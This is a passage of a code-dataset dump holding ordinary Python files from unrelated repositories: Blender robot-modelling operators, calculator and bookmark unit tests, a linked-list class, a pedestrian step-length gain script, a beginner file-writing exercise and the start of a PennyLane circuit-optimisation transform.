expected_keys, \"ключи в файле не соответствуют ожидаемым\"\n\n @pytest.mark.parametrize(\"post_id\", (1, 2, 3))\n def test_delete_bookmark(self, post_id, bookmarks_dao):\n\n \"\"\" тестрирования удаления постов из закладок\"\"\"\n\n bookmark = bookmarks_dao.add_bookmark(post_id)\n expected_keys = {\"poster_name\", \"poster_avatar\", \"pic\", \"content\", \"views_count\",\n \"likes_count\", \"pk\"}\n\n assert type(bookmark) == dict, \"json файл содержит не список\"\n assert bookmark.keys() == expected_keys, \"ключи в файле не соответствуют ожидаемым\"\n","repo_name":"karr0ll/coursework_3","sub_path":"bookmarks/tests/test_bookmarks.py","file_name":"test_bookmarks.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"20478944297","text":"from math import degrees, radians\n\n# Blender imports\nimport bpy\nfrom bpy.props import StringProperty, BoolProperty\n# import mathutils\n\n# RobotDesigner imports\nfrom ..core import config, PluginManager, Condition, RDOperator\n\nfrom .helpers import _mat3_to_vec_roll, ModelSelected, SingleSegmentSelected, PoseMode\n\n\n@RDOperator.Preconditions(ModelSelected)\n@PluginManager.register_class\nclass SelectSegment(RDOperator):\n \"\"\"\n :term:`Operator` for selecting a segment. If :attr:`segment_name` is empty,\n all segments will be deselected\n \"\"\"\n bl_idname = config.OPERATOR_PREFIX + \"select_segment\"\n bl_label = \"Select Segment\"\n\n segment_name = StringProperty()\n\n @RDOperator.OperatorLogger\n def execute(self, context):\n if not context.active_object.type == 'ARMATURE':\n raise Exception(\"BoneSelectionException\")\n\n model = bpy.context.active_object\n for b in model.data.bones:\n b.select = False\n\n if self.segment_name:\n model.data.bones.active = model.data.bones[self.segment_name]\n\n model.data.bones.active.select = True\n else:\n model.data.bones.active = None\n\n return {'FINISHED'}\n\n @classmethod\n def run(cls, segment_name=\"\"):\n return super().run(**cls.pass_keywords())\n\n\n@RDOperator.Preconditions(ModelSelected, SingleSegmentSelected)\n@PluginManager.register_class\nclass RenameSegment(RDOperator):\n \"\"\"\n :term:`operator` for renaming an active bone\n\n\n \"\"\"\n bl_idname = config.OPERATOR_PREFIX + \"rename_segment\"\n bl_label = \"Rename active segment\"\n\n new_name = StringProperty(name=\"Enter new name:\")\n\n\n @RDOperator.OperatorLogger\n def execute(self, context):\n context.active_bone.name = self.new_name\n return {'FINISHED'}\n\n def invoke(self, context, event):\n return context.window_manager.invoke_props_dialog(self)\n\n @classmethod\n def run(cls, new_name=\"\"):\n return super().run(**cls.pass_keywords())\n\n\n@RDOperator.Preconditions(ModelSelected, SingleSegmentSelected, PoseMode)\n@PluginManager.register_class\nclass InsertNewParentSegment(RDOperator):\n \"\"\"\n :term:`operator` for create new parent segment for the currently selected segment.\n\n\n \"\"\"\n bl_idname = config.OPERATOR_PREFIX + \"createparentbone\"\n bl_label = \"Create new parent Bone\"\n\n segment_name = StringProperty(name=\"Enter new parent bone name:\")\n\n @classmethod\n def run(cls, segment_name):\n return super().run(**cls.pass_keywords())\n\n @RDOperator.OperatorLogger\n def execute(self, context):\n current_segment_name = context.active_bone.name\n parent_segment_name = context.active_bone.parent.name if context.active_bone.parent else \"\"\n\n self.logger.info(\"%s %s\", current_segment_name, parent_segment_name)\n\n bpy.ops.pose.select_all(action=\"DESELECT\") #todo make an operator that switches context\n\n CreateNewSegment.run(segment_name=self.segment_name)\n new_segment_name = context.active_bone.name\n\n if parent_segment_name:\n AssignParentSegment.run(parent_name=parent_segment_name)\n\n SelectSegment.run(segment_name=current_segment_name)\n AssignParentSegment.run(parent_name=new_segment_name)\n\n\n\n # rearrange parent pointers accordingly in edit mode\n #current_mode = context.object.mode\n\n # bpy.ops.object.mode_set(mode='EDIT', toggle=False)\n #\n # new_editbone = context.active_bone\n # if context.active_bone.parent:\n # parent_name = context.active_bone.parent.name\n # parent_editbone = context.active_object.data.edit_bones[parent_name]\n # else:\n # parent_editbone = None\n #\n # new_editbone.parent = parent_editbone\n #\n # current_editbone = context.active_object.data.edit_bones[current_segment_name]\n # current_editbone.parent = new_editbone\n #\n # bpy.ops.object.mode_set(mode=current_mode, toggle=False)\n\n UpdateSegments.run(segment_name=self.segment_name, recurse=True)\n\n return {'FINISHED'}\n\n def invoke(self, context, event):\n return context.window_manager.invoke_props_dialog(self)\n\n\n@PluginManager.register_class\nclass AssignParentSegment(RDOperator):\n \"\"\"\n :term:`operator` for assigning a parent to a segment.\n\n\n \"\"\"\n bl_idname = config.OPERATOR_PREFIX + \"assignparentbone\"\n bl_label = \"Assign parent bone\"\n\n parent_name = StringProperty()\n\n @classmethod\n def run(cls, parent_name):\n return super().run(**cls.pass_keywords())\n\n @RDOperator.OperatorLogger\n def execute(self, context):\n # arm = context.active_object\n current_segment_name = context.active_bone.name\n\n current_mode = bpy.context.object.mode\n bpy.ops.object.mode_set(mode='EDIT', toggle=False)\n new_parent_editbone = context.active_object.data.edit_bones[\n self.parent_name]\n current_editbone = context.active_object.data.edit_bones[\n current_segment_name]\n current_editbone.parent = new_parent_editbone\n bpy.ops.object.mode_set(mode=current_mode, toggle=False)\n\n UpdateSegments.run(segment_name=current_segment_name)\n return {'FINISHED'}\n\n\n@RDOperator.Preconditions()\n@PluginManager.register_class\nclass ImportBlenderArmature(RDOperator):\n \"\"\"\n :term:`operator` for converting a :term:`armature` into a :term:`model`\n\n\n \"\"\"\n bl_idname = config.OPERATOR_PREFIX + \"importnative\"\n bl_label = \"Import native blender segment\"\n\n recursive = BoolProperty(name=\"Proceed recursively?\")\n\n @RDOperator.OperatorLogger\n def execute(self, context):\n\n current_mode = bpy.context.object.mode\n bpy.ops.object.mode_set(mode='EDIT', toggle=False)\n\n bone = bpy.context.active_bone\n parent = bpy.context.active_bone.parent\n children = bpy.context.active_bone.children\n bone.use_connect = False\n for i in children:\n i.use_connect = False\n\n bone.length = 1\n\n if parent is not None:\n m = parent.matrix.inverted() * bone.matrix\n else:\n m = bone.matrix\n\n bpy.ops.object.mode_set(mode=current_mode, toggle=False)\n\n euler = m.to_euler()\n xyz = m.translation\n\n bpy.context.active_bone.RobotEditor.Euler.x.value = xyz[0]\n bpy.context.active_bone.RobotEditor.Euler.y.value = xyz[1]\n bpy.context.active_bone.RobotEditor.Euler.z.value = xyz[2]\n\n bpy.context.active_bone.RobotEditor.Euler.alpha.value = round(degrees(euler[0]), 0)\n bpy.context.active_bone.RobotEditor.Euler.beta.value = round(degrees(euler[1]), 0)\n bpy.context.active_bone.RobotEditor.Euler.gamma.value = round(degrees(euler[2]), 0)\n\n bpy.context.active_bone.RobotEditor.RD_Bone = True\n\n if self.recursive:\n for i in [i.name for i in bpy.context.active_bone.children]:\n SelectSegment.run(segment_name=i)\n ImportBlenderArmature.run(recursive=True)\n\n return {'FINISHED'}\n\n def invoke(self, context, event):\n return context.window_manager.invoke_props_dialog(self)\n\n\n@RDOperator.Preconditions(ModelSelected, SingleSegmentSelected)\n@PluginManager.register_class\nclass DeleteSegment(RDOperator):\n \"\"\"\n :term:`operator` for deleting a the selected segment *ALL* of its children.\n\n\n \"\"\"\n bl_idname = config.OPERATOR_PREFIX + \"deletebone\"\n bl_label = \"Delete segment and ALL its children\"\n\n confirmation = BoolProperty(name=\"Are you sure?\")\n\n @RDOperator.OperatorLogger\n def execute(self, context):\n if self.confirmation:\n\n current_mode = context.object.mode\n bpy.ops.object.mode_set(mode='EDIT', toggle=False)\n for bone in context.active_object.data.edit_bones:\n bone.select = False\n\n for bone in context.active_bone.children_recursive:\n bone.select = True\n\n context.active_bone.select = True\n\n if context.active_bone.parent is not None:\n parent_name = context.active_bone.parent.name\n else:\n parent_name = None\n\n bpy.ops.armature.delete()\n bpy.ops.object.mode_set(mode=current_mode, toggle=False)\n\n if parent_name is not None:\n SelectSegment.run(segment_name=parent_name)\n return {'FINISHED'}\n\n def invoke(self, context, event):\n return context.window_manager.invoke_props_dialog(self)\n\n\n# class CreateNewSegment(bpy.types.Operator):\n# \"\"\"\n# :term:`operator` for creating a new segment in the robot model.\n#\n#\n# \"\"\"\n# bl_idname = config.OPERATOR_PREFIX + \"createbone\"\n# bl_label = \"Create new Bone\"\n#\n# boneName = StringProperty(name=\"Enter new bone name:\")\n#\n# def execute(self, context):\n# try:\n# parentBoneName = context.active_bone.name\n# except:\n# parentBoneName = None\n#\n# if not context.active_object.type == 'ARMATURE':\n# raise Exception(\"BoneCreationException\")\n# # return{'FINISHED'}\n# armatureName = context.active_object.name\n# armatures.createBone(armatureName, self.boneName, parentBoneName)\n#\n# designer.ops.select_segment(boneName=self.boneName)\n# armatures.updateKinematics(armatureName, self.boneName)\n#\n# # TODO: set parentMode according to own parent\n# return {'FINISHED'}\n#\n# def invoke(self, context, event):\n# return context.window_manager.invoke_props_dialog(self)\n\n@RDOperator.Preconditions(ModelSelected)\n@PluginManager.register_class\nclass CreateNewSegment(RDOperator):\n \"\"\"\n :term:`Operator ` for creating new robot segments and add it to the current model.\n If a segment is already selected, the new segment is added as a child segment. A call :class:`SelectSegment`\n before might be necessary.\n \"\"\"\n bl_idname = config.OPERATOR_PREFIX + \"create_segment\"\n bl_label = \"Create new segment\"\n\n # model_name = StringProperty()\n segment_name = StringProperty(name=\"Enter new segment name:\")\n #parent_name = StringProperty(default=\"\")\n\n @classmethod\n def run(cls, segment_name):#, parent_name=\"\"):\n return super().run(**cls.pass_keywords())\n\n @RDOperator.OperatorLogger\n @RDOperator.Postconditions(ModelSelected, SingleSegmentSelected)\n def execute(self, context):\n current_mode = bpy.context.object.mode\n selected_segments = [i for i in context.active_object.data.bones if i.select]\n if len(selected_segments):\n parent_name = selected_segments[0].name\n else:\n parent_name = \"\"\n\n # if not self.parent_name:\n # try:\n # parentBoneName = context.active_bone.name\n # except:\n # parentBoneName = None\n # else:\n # if self.parent_name in context.active_object:\n # parentBoneName = self.parent_name\n # else:\n # parentBoneName = None\n\n\n bpy.ops.object.mode_set(mode='EDIT', toggle=False)\n bone = context.active_object.data.edit_bones.new(self.segment_name)\n segment_name = self.segment_name\n bone.head = (0, 0, 0) # Dummy\n bone.tail = (0, 0, 1) # Dummy\n bone.lock = True\n\n if parent_name:\n self.logger.debug(parent_name)\n bone.parent = context.active_object.data.edit_bones[parent_name]\n\n bpy.ops.object.mode_set(mode='POSE', toggle=False)\n\n SelectSegment.run(segment_name=segment_name)\n\n\n context.active_bone.RobotEditor.RD_Bone = True\n\n bpy.ops.pose.constraint_add(type='LIMIT_ROTATION')\n bpy.context.object.pose.bones[segment_name].constraints[\n 0].name = 'RobotEditorConstraint'\n bpy.ops.object.mode_set(mode=current_mode, toggle=False)\n\n self.logger.info(\"Current mode after: %s (%s)\", bpy.context.object.mode, current_mode)\n self.logger.debug(\"Segment created. (%s -> %s)\", parent_name, self.segment_name)\n return {'FINISHED'}\n\n def invoke(self, context, event):\n return context.window_manager.invoke_props_dialog(self)\n\n# def createBone(model_name, bone_name, parent_name=None):\n# \"\"\"\n# Creates a new bone\n#\n# :param model_name: string identifier of the armature\n# :param bone_name: the name of the new bone\n# :param parent_name: (optional) identifies the name of the parent bone\n# \"\"\"\n# print(\"createBone\")\n# designer.selectarmature(armatureName=model_name)\n# currentMode = bpy.context.object.mode\n#\n# print(bpy.ops.object.mode_set(mode='EDIT', toggle=False))\n# # arm = bpy.data.armatures[armatureName]\n# bone = bpy.data.armatures[model_name].edit_bones.new(bone_name)\n# bone.head = (0, 0, 0) # Dummy\n# bone.tail = (0, 0, 1) # Dummy\n# bone.lock = True\n#\n# if parent_name is not None:\n# bone.parent = bpy.data.armatures[model_name].edit_bones[parent_name]\n#\n# bpy.ops.object.mode_set(mode='POSE', toggle=False)\n#\n# designer.select_segment(boneName=bone_name)\n# bpy.ops.pose.constraint_add(type='LIMIT_ROTATION')\n# bpy.context.object.pose.bones[bone_name].constraints[\n# 0].name = 'RobotEditorConstraint'\n# bpy.ops.object.mode_set(mode=currentMode, toggle=False)\n#\n# print(\"createBone done\")\n\n\n\n@PluginManager.register_class\nclass UpdateSegments(RDOperator):\n \"\"\"\n :term:`operator` for updating the :term:`robot models` after parameters changed.\n If a :term:`segment` name is given it will proceed recursively.\n \"\"\"\n bl_idname = config.OPERATOR_PREFIX + \"udpate_model\"\n bl_label = \"update model\"\n\n # model_name = StringProperty()\n segment_name = StringProperty(default=\"\")\n recurse = BoolProperty(default=True)\n\n @classmethod\n def run(cls, recurse=True, segment_name=\"\"):\n \"\"\"\n Run this operator\n \"\"\"\n\n return super().run(**cls.pass_keywords())\n\n @RDOperator.Postconditions(ModelSelected)\n @RDOperator.OperatorLogger\n # @RDOperator.Postconditions(ModelSelected)\n # @Preconditions(ModelSelected)\n def execute(self, context):\n current_mode = bpy.context.object.mode\n\n # arm = bpy.data.armatures[armatureName]\n\n # armature_data_ame = bpy.data.objects[self.model_name].data.name # conversion to operator\n armature_data_ame = context.active_object.data.name\n\n if self.segment_name:\n segment_name = bpy.data.armatures[armature_data_ame].bones[self.segment_name].name\n else:\n segment_name = bpy.data.armatures[armature_data_ame].bones[0].name\n\n SelectSegment.run(segment_name=self.segment_name)\n\n if not bpy.data.armatures[armature_data_ame].bones[segment_name].RobotEditor.RD_Bone:\n self.logger.info(\"Not updated (not a RD segment): %s\", segment_name)\n return {'FINISHED'}\n\n # local variables for updating the constraints\n joint_axis = bpy.data.armatures[armature_data_ame].bones[segment_name].RobotEditor.axis\n min_rot = bpy.data.armatures[armature_data_ame].bones[segment_name].RobotEditor.theta.min\n max_rot = bpy.data.armatures[armature_data_ame].bones[segment_name].RobotEditor.theta.max\n jointMode = bpy.data.armatures[armature_data_ame].bones[segment_name].RobotEditor.jointMode\n jointValue = bpy.data.armatures[armature_data_ame].bones[segment_name].RobotEditor.theta.value\n\n matrix, joint_matrix = bpy.data.armatures[armature_data_ame].bones[\n segment_name].RobotEditor.getTransform()\n\n bpy.ops.object.mode_set(mode='EDIT', toggle=False)\n\n editbone = bpy.data.armatures[armature_data_ame].edit_bones[\n bpy.data.armatures[armature_data_ame].bones[segment_name].name]\n editbone.use_inherit_rotation = True\n\n if editbone.parent is not None:\n transform = editbone.parent.matrix.copy()\n matrix = transform * matrix\n\n pos = matrix.to_translation()\n axis, roll = _mat3_to_vec_roll(matrix.to_3x3())\n\n editbone.head = pos\n editbone.tail = pos + axis\n editbone.roll = roll\n\n editbone.length = 1\n\n bpy.ops.object.mode_set(mode=current_mode, toggle=False)\n\n # update pose\n bpy.ops.object.mode_set(mode='POSE', toggle=False)\n pose_bone = bpy.context.object.pose.bones[segment_name]\n pose_bone.matrix_basis = joint_matrix\n\n if jointMode == 'REVOLUTE':\n if 'RobotEditorConstraint' not in pose_bone.constraints:\n bpy.ops.pose.constraint_add(type='LIMIT_ROTATION')\n bpy.context.object.pose.bones[segment_name].constraints[\n 0].name = 'RobotEditorConstraint'\n constraint = \\\n [i for i in pose_bone.constraints if i.type == 'LIMIT_ROTATION'][0]\n constraint.name = 'RobotEditorConstraint'\n constraint.owner_space = 'LOCAL'\n constraint.use_limit_x = True\n constraint.use_limit_y = True\n constraint.use_limit_z = True\n constraint.min_x = 0.0\n constraint.min_y = 0.0\n constraint.min_z = 0.0\n constraint.max_x = 0.0\n constraint.max_y = 0.0\n constraint.max_z = 0.0\n if joint_axis == 'X':\n constraint.min_x = radians(min_rot)\n constraint.max_x = radians(max_rot)\n elif joint_axis == 'Y':\n constraint.min_y = radians(min_rot)\n constraint.max_y = radians(max_rot)\n elif joint_axis == 'Z':\n constraint.min_z = radians(min_rot)\n constraint.max_z = radians(max_rot)\n # -------------------------------------------------------\n bpy.ops.object.mode_set(mode=current_mode, toggle=False)\n\n children_names = [i.name for i in\n bpy.data.armatures[armature_data_ame].bones[\n segment_name].children]\n for child_name in children_names:\n UpdateSegments.run(segment_name=child_name, recurse=self.recurse)\n\n SelectSegment.run(segment_name=segment_name)\n\n return {'FINISHED'}\n","repo_name":"higain/BlenderRobotDesigner","sub_path":"robot_designer_plugin/operators/segments.py","file_name":"segments.py","file_ext":"py","file_size_in_byte":18280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"72155746084","text":"\"\"\"\nAsk the user to walk 10m while recording their IMUs. Do it multiple times to have a reliable ground truth.\nThe Weinberg gain can't change.\n\"\"\"\nimport os.path as osp\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom humolire.PDR.PDR import perform_pdr, compute_positions\nfrom humolire.PDR.dataloaders import load_inria_txts\n\n\ndef test_weinberg(datapath, **kwargs):\n time, acce, gyro, recorded_timestamps = load_inria_txts(datapath, load_references=False)\n\n positions, total_distance = compute_positions(\n *perform_pdr(acce, gyro, **kwargs, frequency=400))\n print(f\"for {osp.basename(datapath)}, total traveled distance {total_distance:.2f} \"\n f\"meters after {len(positions)} steps\\n\")\n\n\nif __name__ == \"__main__\":\n # a 186\n test_weinberg('test_sequences/weinberg/1_10m', weinberg_gain=1.07, acceleration_threshold=0.07)\n test_weinberg('test_sequences/weinberg/1_10m_2', weinberg_gain=1.07, acceleration_threshold=0.07)\n\n # f 190\n test_weinberg('test_sequences/weinberg/2_10m', weinberg_gain=1.1, acceleration_threshold=0.05)\n test_weinberg('test_sequences/weinberg/2_10m_2', weinberg_gain=1.1, acceleration_threshold=0.05)\n\n # e 180\n test_weinberg('test_sequences/weinberg/3_10m', weinberg_gain=1.05, acceleration_threshold=0.07)\n test_weinberg('test_sequences/weinberg/3_10m_2', weinberg_gain=1.05, acceleration_threshold=0.07)\n\n # b 165\n test_weinberg('test_sequences/weinberg/4_10m', weinberg_gain=0.95, acceleration_threshold=0.09)\n test_weinberg('test_sequences/weinberg/4_10m_2', weinberg_gain=0.95, acceleration_threshold=0.09)\n\n weinbergs = [1.07, 1.1, 1.05, 0.95]\n heights = [186, 190, 180, 163]\n plt.scatter(heights, weinbergs, color='red', label='measures')\n coef = np.polyfit(heights, weinbergs, 1)\n poly1d_fn = np.poly1d(coef)\n plt.plot(heights, poly1d_fn(heights), \"--\")\n plt.grid()\n plt.xlabel('pedestrian height (cm)')\n plt.ylabel('weinberg gain')\n plt.show()\n","repo_name":"anisghaoui/humolire","sub_path":"tests/weinberg_gain_test.py","file_name":"weinberg_gain_test.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"52"} +{"seq_id":"34788584912","text":"from sys import argv\n\nscript, filename = argv\n\nprint(f\"We're going to erase {filename}.\")\nprint(\"If you don't want that, hit CTRL-C (^C).\")\nprint(\"If you do want that, hit RETURN.\")\n\ninput(\"?\\n\")\n\nprint(\"Opening the file...\")\ntarget = open(filename, 'w')\n\nprint(\"Truncating the file. Goodbye!\")\ntarget.truncate()\n\nprint(\"Now I'm going to ask you for three lines.\")\n\nline1 = input(\"line 1: \")\nline2 = input(\"line 2: \")\nline3 = input(\"line 3: \")\n\nprint(f\"This is what you wrote:\\n {line1}\\n {line2}\\n {line3}\\n\\n\")\nconfirm = input(\"Is this correct? y/n\\n\")\nif confirm == \"y\":\n print(\"I'm going to write these to the file.\")\n\n target.write(line1)\n target.write(\"\\n\")\n target.write(line2)\n target.write(\"\\n\")\n target.write(line3)\n target.write(\"\\n\")\n\n print(\"And finally, we close it.\")\n target.close()\nelse:\n if confirm == \"n\":\n print(\"Re-run program.\")\n print(\"Closing file.\")\n target.close()\n","repo_name":"lchabolla/lpthw","sub_path":"ex16.py","file_name":"ex16.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"15895036531","text":"import unittest\nimport logging\nimport sys\nfrom Calculator import Calculator\nfrom BasicArithmitic import *\nfrom ReaderOfCSVs import ReaderOfCSVs\n\n\nlogger = logging.getLogger()\nlogger.level = logging.DEBUG\nstream_handler = logging.StreamHandler(sys.stdout)\nlogger.addHandler(stream_handler)\npathAddition = r'src/UnitTestAddition.csv'\npathSubtraction = r'src/UnitTestSubtraction.csv'\npathDivision = r'src/UnitTestDivision.csv'\npathMultiplication = r'src/UnitTestMultiplication.csv'\n\n\nclass MyTestCase(unittest.TestCase):\n\n #calcu = Calculator()\n def setUp(self):\n stream_handler.stream = sys.stdout\n self.calc = Calculator()\n\n # def test_something(self):\n # self.assertEqual(True, True)\n #\n # def test_instantiate_calculator(self):\n # # calc = Calculator()\n # self.assertIsInstance(self.calc, Calculator)\n # print(self.calc.count)\n #\n # def test_addition(self):\n # #calc = Calculator()\n # self.assertEqual(self.calc.add(2,2), 4)\n # print(self.calc.count)\n #\n # def test_subtraction(self):\n # #calc = Calculator()\n # self.assertEqual(self.calc.sub(2,2), 0)\n # print(self.calc.count)\n #\n # def test_multiplication(self):\n # #calc = Calculator()\n # self.assertEqual(self.calc.mul(2,2), 4)\n #\n # def test_division(self):\n # #calc = Calculator()\n # self.assertEqual(self.calc.div(2,2), 1)\n #\n # def test_square(self):\n # #calc = Calculator()\n # self.assertEqual(self.calc.square(2), 4)\n def test_instantiate_calculator(self):\n self.assertIsInstance(self.calc, Calculator)\n\n def test_addition(self):\n print(\"\\nin Addition!\\n\")\n self.csvReaderAdd = ReaderOfCSVs(pathAddition)\n addition = self.csvReaderAdd.create_class_dynamically(\"addition\")\n for add in addition:\n #print(add.__name__, \"\\t\", add.__dict__['Value 1'], \"\\t\", add.__dict__['Value 2'], \"\\t\", add.__dict__['Result'])\n self.assertEqual(self.calc.add(int(add.__dict__['Value 1']), int(add.__dict__['Value 2'])), int(add.__dict__['Result']))\n\n def test_subtraction(self):\n print(\"\\nin sub\\n\")\n self.csvReaderAdd = ReaderOfCSVs(pathSubtraction)\n subsub = self.csvReaderAdd.create_class_dynamically(\"sub\")\n for sub in subsub:\n #print(sub.__name__, \"\\t\", sub.__dict__['Value 1'], \"\\t\", sub.__dict__['Value 2'], \"\\t\", sub.__dict__['Result'])\n self.assertEqual(self.calc.sub(int(sub.__dict__['Value 2']), int(sub.__dict__['Value 1'])), int(sub.__dict__['Result']))\n\n def test_divide(self):\n print(\"\\nin divdidididididid\\n\")\n self.csvReaderDiv = ReaderOfCSVs(pathDivision)\n divdiv = self.csvReaderDiv.create_class_dynamically(\"divdiv\")\n for div in divdiv:\n #print(div.__name__, \"\\t\", div.__dict__['Value 1'], \"\\t\", div.__dict__['Value 2'], \"\\t\", div.__dict__['Result'])\n self.assertAlmostEqual(self.calc.div(int(div.__dict__['Value 2']), int(div.__dict__['Value 1'])), float(div.__dict__['Result']))\n\n def test_multiply(self):\n print(\"\\nmulti-multi\\n\")\n self.csvReaderMulti = ReaderOfCSVs(pathMultiplication)\n multiMulti = self.csvReaderMulti.create_class_dynamically(\"multimulti\")\n for multi in multiMulti:\n self.assertEqual(self.calc.mul(int(multi.__dict__['Value 1']), int(multi.__dict__['Value 2'])), int(multi.__dict__['Result']))\n\n def test_squareRootFromBasicArithmitic(self):\n self.assertEqual(squareRoot(16), 4)\n self.assertEqual(squareRoot(4), 2)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"RosaMoss/IS601Calculator","sub_path":"TestCalc.py","file_name":"TestCalc.py","file_ext":"py","file_size_in_byte":3648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"7570734687","text":"from aula29072019.NodePessoa import NodePessoa\n\nclass ListaLigada:\n def __init__(self):\n self.inicio = None\n self.fim = None\n self.tamanho = 0\n \n def inserirInicio(self, identificacao, nome, cpf):\n nodePessoa = NodePessoa(identificacao, nome, cpf)\n if(self.inicio == self.fim == None):\n self.inicio = self.fim = nodePessoa\n self.tamanho += 1\n return True\n else:\n nodePessoa.proximo = self.inicio\n self.inicio = nodePessoa \n self.tamanho += 1\n return True\n \n def inserirFim(self, identificacao, nome, cpf):\n nodePessoa = NodePessoa(identificacao, nome, cpf)\n if(self.inicio != None and self.fim != None):\n self.fim.proximo = nodePessoa\n self.fim = nodePessoa\n self.fim.proximo = None\n self.tamanho += 1\n return True\n else:\n self.inserirInicio(identificacao, nome, cpf)\n return True\n \n def inserir(self, identificacao, nome, cpf, indice):\n nodePessoa = NodePessoa(identificacao, nome, cpf)\n if((self.inicio == None and self.fim == None) or indice <= 0):\n return self.inserirInicio(identificacao, nome, cpf)\n elif(indice >= self.tamanho):\n return self.inserirFim(identificacao, nome, cpf)\n else:\n atual = self.inicio\n anterior = self.inicio\n contador = 0\n while contador < indice:\n anterior = atual\n atual = atual.proximo\n contador += 1\n anterior.proximo = nodePessoa\n nodePessoa.proximo = atual\n self.tamanho += 1\n return True\n \n def removerInicio(self):\n if(self.tamanho > 0):\n aux = self.inicio\n self.inicio = self.inicio.proximo\n aux.proximo = None\n aux = None\n self.tamanho -= 1\n return True\n else:\n print('Lista Vazia!')\n return None\n \n def removerFim(self):\n if(self.tamanho > 0):\n if(self.inicio == self.fim):\n return self.removerInicio()\n else:\n penultimo = self.inicio\n while penultimo.proximo != self.fim:\n penultimo = penultimo.proximo\n penultimo.proximo = None\n self.fim = penultimo\n self.tamanho -= 1\n return True\n else:\n print('Lista Vazia!')\n return None\n \n def remover(self, indice):\n if(indice <= 0 and self.tamanho > 0):\n return self.removerInicio()\n \n elif(indice >= self.tamanho - 1 and self.tamanho > 0):\n return self.removerFim()\n \n elif(self.tamanho > 0): \n anterior = atual = self.inicio\n contador = 0\n while contador < indice:\n anterior = atual\n atual = atual.proximo\n contador += 1\n anterior.proximo = atual.proximo\n atual.proximo = None\n atual = None\n self.tamanho -= 1\n return True\n else:\n print('Lista Vazia!')\n return None\n \n def imprimirLista(self):\n aux = self.inicio\n while(aux != None):\n print('Id: ' + str(aux.identificacao) + ' Nome: ' + aux.nome + ' CPF: ' + aux.cpf)\n aux = aux.proximo\n \n def imprimirTamanho(self):\n return self.tamanho\n \n def buscarElemento(self, indice):\n if(self.tamanho > 0):\n contador = 0\n elemento = self.inicio\n while contador < indice:\n elemento = elemento.proximo\n contador += 1\n return elemento\n else:\n return None","repo_name":"mariosiqueira/aedpython","sub_path":"aula29072019/ListaLigada.py","file_name":"ListaLigada.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"31504630312","text":"import copy\nimport itertools\nfrom collections import OrderedDict\nfrom typing import Sequence, Callable\n\nimport numpy as np\n\nimport pennylane as qml\nfrom pennylane.transforms import transform\nfrom pennylane import adjoint\nfrom pennylane.ops.qubit.attributes import symmetric_over_all_wires\nfrom pennylane.tape import QuantumTape, QuantumScript\nfrom pennylane.transforms.commutation_dag import commutation_dag\nfrom pennylane.wires import Wires\n\n\n# pylint: disable=too-many-statements\n@transform\ndef pattern_matching_optimization(\n tape: QuantumTape, pattern_tapes, custom_quantum_cost=None\n) -> (Sequence[QuantumTape], Callable):\n r\"\"\"Quantum function transform to optimize a circuit given a list of patterns (templates).\n\n Args:\n tape (QNode or QuantumTape or Callable): A quantum circuit to be optimized.\n pattern_tapes(list(.QuantumTape)): List of quantum tapes that implement the identity.\n custom_quantum_cost (dict): Optional, quantum cost that overrides the default cost dictionary.\n\n Returns:\n qnode (QNode) or quantum function (Callable) or tuple[List[QuantumTape], function]: The transformed circuit as described in :func:`qml.transform `.\n\n Raises:\n QuantumFunctionError: The pattern provided is not a valid QuantumTape or the pattern contains measurements or\n the pattern does not implement identity or the circuit has less qubits than the pattern.\n\n **Example**\n\n >>> dev = qml.device('default.qubit', wires=5)\n\n You can apply the transform directly on a :class:`QNode`. For that, you need first to define a pattern that is to be\n found in the circuit. We use the following pattern that implements the identity:\n\n .. code-block:: python\n\n ops = [qml.S(0), qml.S(0), qml.PauliZ(0)]\n pattern = qml.tape.QuantumTape(ops)\n\n\n Let's consider the following circuit where we want to replace a sequence of two ``pennylane.S`` gates with a\n ``pennylane.PauliZ`` gate.\n\n .. code-block:: python\n\n @partial(pattern_matching_optimization, pattern_tapes = [pattern])\n @qml.qnode(device=dev)\n def circuit():\n qml.S(wires=0)\n qml.PauliZ(wires=0)\n qml.S(wires=1)\n qml.CZ(wires=[0, 1])\n qml.S(wires=1)\n qml.S(wires=2)\n qml.CZ(wires=[1, 2])\n qml.S(wires=2)\n return qml.expval(qml.PauliX(wires=0))\n\n During the call of the circuit, it is first optimized (if possible) and then executed.\n\n >>> circuit()\n\n .. details::\n :title: Usage Details\n\n .. code-block:: python\n\n def circuit():\n qml.S(wires=0)\n qml.PauliZ(wires=0)\n qml.S(wires=1)\n qml.CZ(wires=[0, 1])\n qml.S(wires=1)\n qml.S(wires=2)\n qml.CZ(wires=[1, 2])\n qml.S(wires=2)\n return qml.expval(qml.PauliX(wires=0))\n\n For optimizing the circuit given the following template of CNOTs we apply the ``pattern_matching``\n transform.\n\n >>> qnode = qml.QNode(circuit, dev)\n >>> optimized_qfunc = pattern_matching_optimization(pattern_tapes=[pattern])(circuit)\n >>> optimized_qnode = qml.QNode(optimized_qfunc, dev)\n\n >>> print(qml.draw(qnode)())\n 0: ──S──Z─╭●──────────┤ \n 1: ──S────╰Z──S─╭●────┤\n 2: ──S──────────╰Z──S─┤\n\n >>> print(qml.draw(optimized_qnode)())\n 0: ──S†─╭●────┤ \n 1: ──Z──╰Z─╭●─┤\n 2: ──Z─────╰Z─┤\n\n Note that with this pattern we also replace a ``pennylane.S``, ``pennylane.PauliZ`` sequence by\n ``Adjoint(S)``. If one would like avoiding this, it possible to give a custom\n quantum cost dictionary with a negative cost for ``pennylane.PauliZ``.\n\n >>> my_cost = {\"PauliZ\": -1 , \"S\": 1, \"Adjoint(S)\": 1}\n >>> optimized_qfunc = pattern_matching_optimization(circuit, pattern_tapes=[pattern], custom_quantum_cost=my_cost)\n >>> optimized_qnode = qml.QNode(optimized_qfunc, 